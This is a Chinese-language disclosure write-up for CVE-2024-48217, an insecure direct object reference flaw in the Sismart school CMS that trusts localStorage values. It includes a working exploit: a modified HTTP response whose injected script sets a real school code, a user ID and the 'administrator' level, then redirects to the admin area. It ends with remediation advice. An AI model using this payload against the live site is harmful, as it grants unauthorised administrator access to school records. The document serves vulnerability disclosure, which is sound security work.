CVE 分配: CVE-2024-48217 mitre.org nvd.nist.org tenable.com
2024 年 9 月 5 日
Ajriel Rizqy Maulana
7.4.0
IDOR - 会话存储中的不安全直接对象引用 IDOR 即不安全直接对象引用(Insecure Direct Object Reference),它是一种属于失效的访问控制(broken access control)类别的漏洞。简而言之,当应用程序使用用户提供的输入直接访问对象时,就会产生此漏洞。利用不安全直接对象引用漏洞,可以实现水平越权(horizontal privilege escalation),在某些情况下还可能升级为垂直越权(vertical privilege escalation)。
https://cms.sismart.id/sekolah/ 位于 Local Storage 中的
sekolah_kode参数。 位于 Local Storage 中的user_id参数。 位于 Local Storage 中的user_level参数。
与普通的 IDOR 不同,基于会话存储(session storage)的 IDOR 在本质上有所区别,它们有时不会产生永久性的更改,但严重程度仍然相同。
未修改的 HTTP 响应:
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"
<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script></body></html>
sekolah_kode 设置为所需的学校代码。user_id 设置为所需管理员的用户 ID。user_level 设置为 administrator。id_token 设置为 undefined。<script>
localStorage.setItem('sekolah_kode', 'school_id');
localStorage.setItem('user_id', '0000');
localStorage.setItem('user_level', 'role (ex:administrator)');
localStorage.setItem('id_token', 'undefined');
window.location.href = '/sekolah';
</script>
修改后的 HTTP 响应:
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"
<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script>
<script>
localStorage.setItem('sekolah_kode', 'smkbnif');
localStorage.setItem('user_id', '3301');
localStorage.setItem('user_level', 'administrator');
localStorage.setItem('id_token', 'undefined');
window.location.href = '/sekolah';
</script>
</body></html>

必须进行访问检查,确保对所有被引用的对象进行验证。此外,还应实施身份验证(authentication)和授权(authorization)检查。更进一步,应将 ID 转换为字母数字格式以防止被猜测,例如使用 uid。